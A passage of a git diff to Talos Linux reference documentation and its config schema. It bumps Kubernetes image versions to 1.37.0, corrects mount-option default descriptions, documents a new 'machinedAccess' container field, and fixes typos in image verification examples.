'SIDEROV1_KEYS_DIR' env variable if set, otherwise '$HOME/.talos/keys'; only valid for Contexts that use SideroV1 auth --talosconfig string the path to the Talos configuration file, defaults to 'TALOSCONFIG' env variable if set, otherwise '$HOME/.talos/config' and '/var/run/secrets/talos.dev/config' in order - --to string the Kubernetes control plane version to upgrade to (default "1.37.0-rc.1") + --to string the Kubernetes control plane version to upgrade to (default "1.37.0") --upgrade-kubelet upgrade kubelet service (default true) --with-docs patch all machine configs adding the documentation for each field (default true) --with-examples patch all machine configs with the commented examples (default true) diff --git a/website/content/v1.14/reference/configuration/container/containerconfig.md b/website/content/v1.14/reference/configuration/container/containerconfig.md index ad0c735313d..94537be8fd3 100644 --- a/website/content/v1.14/reference/configuration/container/containerconfig.md +++ b/website/content/v1.14/reference/configuration/container/containerconfig.md @@ -36,7 +36,7 @@ mounts: userVolume: name: web-content # Name of the `UserVolumeConfig` document to mount. destination: /usr/share/nginx/html # Absolute path inside the container's mount namespace. - # Mount options. User volume mounts are read-only by default (`ro`). + # Mount options. User volume mounts are writable by default (`rw`). options: - ro - # Mount a tmpfs for scratch space. @@ -133,7 +133,7 @@ UserVolumeMount mounts a user volume by name. |-------|------|-------------|----------| |`name` |string |Name of the `UserVolumeConfig` document to mount. | | |`destination` |string |Absolute path inside the container's mount namespace. | | -|`options` |[]string |Mount options. User volume mounts are read-only by default (`ro`). |`ro`
`rw`
`noexec`
`nosuid`
`nodev`
`noatime`
`rbind`
`rshared`
| +|`options` |[]string |Mount options. User volume mounts are writable by default (`rw`). |`ro`
`rw`
`noexec`
`nosuid`
`nodev`
`noatime`
`rbind`
`rshared`
| @@ -171,7 +171,7 @@ HostPathMount bind-mounts a host path. |-------|------|-------------|----------| |`source` |string |Absolute path on the host. Must already exist. | | |`destination` |string |Absolute path inside the container's mount namespace. | | -|`options` |[]string |Mount options. Host path mounts are read-only by default (`ro`). | | +|`options` |[]string |Mount options. Host path mounts are writable by default (`rw`). | | @@ -191,6 +191,7 @@ ContainerSecurity configures the container's security posture. |-------|------|-------------|----------| |`profile` |ContainerSecurityProfile |Security profile.

`restricted` drops all capabilities, allows no device access, and mounts the rootfs
and sysfs read-only. `privileged` grants all grantable capabilities and all devices,
which is what extension services get implicitly. |`restricted`
`privileged`
| |`capabilities` |ContainerCapabilities |Linux capabilities to add or drop on top of the profile. | | +|`machinedAccess` |bool |Publishes the container's PID so machined's API can recognize it, and bind-mounts the
machined API socket into the container.

This alone does not grant DAC access to the socket, which is owned by the `apid` user:
reaching it in practice still requires `profile: privileged` or an equivalent capability/
`runAs` grant. Once connected, the container may request any role, same as extension
services; the RPC's own role requirements are what actually gate access. | | diff --git a/website/content/v1.14/reference/configuration/cri/cricustomizationconfig.md b/website/content/v1.14/reference/configuration/cri/cricustomizationconfig.md index e518a3e070e..76bdbfc66cc 100644 --- a/website/content/v1.14/reference/configuration/cri/cricustomizationconfig.md +++ b/website/content/v1.14/reference/configuration/cri/cricustomizationconfig.md @@ -18,7 +18,7 @@ apiVersion: v1alpha1 kind: CRICustomizationConfig name: enable-metrics # Name of the CRI customization. content: | # CRI containerd configuration fragment in TOML format. - [metrics] + [plugins."io.containerd.server.v1.metrics"] address = "0.0.0.0:11234" {{< /highlight >}} diff --git a/website/content/v1.14/reference/configuration/kubernetes/kubeapiserverconfig.md b/website/content/v1.14/reference/configuration/kubernetes/kubeapiserverconfig.md index 521cdb241f3..616044f7d16 100644 --- a/website/content/v1.14/reference/configuration/kubernetes/kubeapiserverconfig.md +++ b/website/content/v1.14/reference/configuration/kubernetes/kubeapiserverconfig.md @@ -16,7 +16,7 @@ title: KubeAPIServerConfig {{< highlight yaml >}} apiVersion: v1alpha1 kind: KubeAPIServerConfig -image: registry.k8s.io/kube-apiserver:v1.37.0-rc.1 # The container image used to run the kube-apiserver component. +image: registry.k8s.io/kube-apiserver:v1.37.0 # The container image used to run the kube-apiserver component. # Extra command line arguments to supply to the kube-apiserver. extraArgs: feature-gates: ServerSideApply=true diff --git a/website/content/v1.14/reference/configuration/kubernetes/kubecontrollermanagerconfig.md b/website/content/v1.14/reference/configuration/kubernetes/kubecontrollermanagerconfig.md index fdb14ece70f..e6d5438970b 100644 --- a/website/content/v1.14/reference/configuration/kubernetes/kubecontrollermanagerconfig.md +++ b/website/content/v1.14/reference/configuration/kubernetes/kubecontrollermanagerconfig.md @@ -17,7 +17,7 @@ title: KubeControllerManagerConfig {{< highlight yaml >}} apiVersion: v1alpha1 kind: KubeControllerManagerConfig -image: registry.k8s.io/kube-controller-manager:v1.37.0-rc.1 # The container image used to run the kube-controller-manager component. +image: registry.k8s.io/kube-controller-manager:v1.37.0 # The container image used to run the kube-controller-manager component. # Extra command line arguments to supply to the kube-controller-manager. extraArgs: feature-gates: AllBeta=true diff --git a/website/content/v1.14/reference/configuration/kubernetes/kubeletconfig.md b/website/content/v1.14/reference/configuration/kubernetes/kubeletconfig.md index 310171575f0..d0e2d532a4c 100644 --- a/website/content/v1.14/reference/configuration/kubernetes/kubeletconfig.md +++ b/website/content/v1.14/reference/configuration/kubernetes/kubeletconfig.md @@ -16,7 +16,7 @@ title: KubeletConfig {{< highlight yaml >}} apiVersion: v1alpha1 kind: KubeletConfig -image: ghcr.io/siderolabs/kubelet:v1.37.0-rc.1 # The container image used to run the kubelet component. +image: ghcr.io/siderolabs/kubelet:v1.37.0 # The container image used to run the kubelet component. # Provide extra configuration for the kubelet. config: serverTLSBootstrap: true diff --git a/website/content/v1.14/reference/configuration/kubernetes/kubeproxyconfig.md b/website/content/v1.14/reference/configuration/kubernetes/kubeproxyconfig.md index 013fa7eef4a..786407edb7a 100644 --- a/website/content/v1.14/reference/configuration/kubernetes/kubeproxyconfig.md +++ b/website/content/v1.14/reference/configuration/kubernetes/kubeproxyconfig.md @@ -16,7 +16,7 @@ title: KubeProxyConfig {{< highlight yaml >}} apiVersion: v1alpha1 kind: KubeProxyConfig -image: registry.k8s.io/kube-proxy:v1.37.0-rc.1 # The container image used in the kube-proxy manifest. +image: registry.k8s.io/kube-proxy:v1.37.0 # The container image used in the kube-proxy manifest. mode: nftables # description: | # Provide configuration for the kube-proxy. config: diff --git a/website/content/v1.14/reference/configuration/kubernetes/kubeschedulerconfig.md b/website/content/v1.14/reference/configuration/kubernetes/kubeschedulerconfig.md index 6716874b471..fda1336c490 100644 --- a/website/content/v1.14/reference/configuration/kubernetes/kubeschedulerconfig.md +++ b/website/content/v1.14/reference/configuration/kubernetes/kubeschedulerconfig.md @@ -16,7 +16,7 @@ title: KubeSchedulerConfig {{< highlight yaml >}} apiVersion: v1alpha1 kind: KubeSchedulerConfig -image: registry.k8s.io/kube-scheduler:v1.37.0-rc.1 # The container image used to run the kube-scheduler component. +image: registry.k8s.io/kube-scheduler:v1.37.0 # The container image used to run the kube-scheduler component. # Provide configuration for the kube-scheduler static pod. config: profiles: diff --git a/website/content/v1.14/reference/configuration/security/imageverificationconfig.md b/website/content/v1.14/reference/configuration/security/imageverificationconfig.md index 1294ba84bbc..6db358d9ec8 100644 --- a/website/content/v1.14/reference/configuration/security/imageverificationconfig.md +++ b/website/content/v1.14/reference/configuration/security/imageverificationconfig.md @@ -26,14 +26,14 @@ rules: # # Regex pattern for subject matching. # subjectRegex: .*@example\.com - - image: my-registry/* # Image reference pattern to match for this rule. + - image: my-registry.example.com/* # Image reference pattern to match for this rule. # Public key verifier configuration to use for this rule. publicKey: certificate: |- # A public certificate in PEM format accepted for image signature verification. -----BEGIN CERTIFICATE----- MII--Sample Value-- -----END CERTIFICATE----- - - image: locahost:3000/* # Image reference pattern to match for this rule. + - image: localhost:3000/* # Image reference pattern to match for this rule. deny: true # Deny pulling images matching the pattern (default: false). {{< /highlight >}} @@ -54,7 +54,7 @@ ImageVerificationRuleV1Alpha1 defines a verification rule. | Field | Type | Description | Value(s) | |-------|------|-------------|----------| -|`image` |string |Image reference pattern to match for this rule.
Supports glob patterns, matches only on the image registry and repository, not on the tag or digest.
Show example(s){{< highlight yaml >}} +|`image` |string |Image reference pattern to match for this rule.
Supports glob patterns, matches only on the image registry and repository, not on the tag or digest.

The pattern is matched against the normalized image reference, which always starts with a registry
domain: `docker.io/library/nginx*` matches `nginx:latest`, while `library/nginx*` matches nothing.
The Docker Hub domain is always normalized to `docker.io`, so a pattern written against
`index.docker.io` or `registry-1.docker.io` matches the same images a `docker.io` one does.
Show example(s){{< highlight yaml >}} image: docker.io/library/nginx {{< /highlight >}}{{< highlight yaml >}} image: registry.k8s.io/* diff --git a/website/content/v1.14/schemas/config.schema.json b/website/content/v1.14/schemas/config.schema.json index 84b4959f275..4bf7a93d584 100644 --- a/website/content/v1.14/schemas/config.schema.json +++ b/website/content/v1.14/schemas/config.schema.json @@ -1393,6 +1393,13 @@ "description": "Linux capabilities to add or drop on top of the profile.\n", "markdownDescription": "Linux capabilities to add or drop on top of the profile.", "x-intellij-html-description": "\u003cp\u003eLinux capabilities to add or drop on top of the profile.\u003c/p\u003e\n" + }, + "machinedAccess": { + "type": "boolean", + "title": "machinedAccess", + "description": "Publishes the container’s PID so machined’s API can recognize it, and bind-mounts the\nmachined API socket into the container.\n\nThis alone does not grant DAC access to the socket, which is owned by the apid user:\nreaching it in practice still requires profile: privileged or an equivalent capability/\nrunAs grant. Once connected, the container may request any role, same as extension\nservices; the RPC’s own role requirements are what actually gate access.\n", + "markdownDescription": "Publishes the container's PID so machined's API can recognize it, and bind-mounts the\nmachined API socket into the container.\n\nThis alone does not grant DAC access to the socket, which is owned by the `apid` user:\nreaching it in practice still requires `profile: privileged` or an equivalent capability/\n`runAs` grant. Once connected, the container may request any role, same as extension\nservices; the RPC's own role requirements are what actually gate access.", + "x-intellij-html-description": "\u003cp\u003ePublishes the container\u0026rsquo;s PID so machined\u0026rsquo;s API can recognize it, and bind-mounts the\nmachined API socket into the container.\u003c/p\u003e\n\n\u003cp\u003eThis alone does not grant DAC access to the socket, which is owned by the \u003ccode\u003eapid\u003c/code\u003e user:\nreaching it in practice still requires \u003ccode\u003eprofile: privileged\u003c/code\u003e or an equivalent capability/\n\u003ccode\u003erunAs\u003c/code\u003e grant. Once connected, the container may request any role, same as extension\nservices; the RPC\u0026rsquo;s own role requirements are what actually gate access.\u003c/p\u003e\n" } }, "additionalProperties": false, @@ -1421,9 +1428,9 @@ }, "type": "array", "title": "options", - "description": "Mount options. Host path mounts are read-only by default (ro).\n", - "markdownDescription": "Mount options. Host path mounts are read-only by default (`ro`).", - "x-intellij-html-description": "\u003cp\u003eMount options. Host path mounts are read-only by default (\u003ccode\u003ero\u003c/code\u003e).\u003c/p\u003e\n" + "description": "Mount options. Host path mounts are writable by default (rw).\n", + "markdownDescription": "Mount options. Host path mounts are writable by default (`rw`).", + "x-intellij-html-description": "\u003cp\u003eMount options. Host path mounts are writable by default (\u003ccode\u003erw\u003c/code\u003e).\u003c/p\u003e\n" } }, "additionalProperties": false, @@ -1489,9 +1496,9 @@ "rshared" ], "title": "options", - "description": "Mount options. User volume mounts are read-only by default (ro).\n", - "markdownDescription": "Mount options. User volume mounts are read-only by default (`ro`).", - "x-intellij-html-description": "\u003cp\u003eMount options. User volume mounts are read-only by default (\u003ccode\u003ero\u003c/code\u003e).\u003c/p\u003e\n" + "description": "Mount options. User volume mounts are writable by default (rw).\n", + "markdownDescription": "Mount options. User volume mounts are writable by default (`rw`).", + "x-intellij-html-description": "\u003cp\u003eMount options. User volume mounts are writable by default (\u003ccode\u003erw\u003c/code\u003e).\u003c/p\u003e\n" } }, "additionalProperties": false,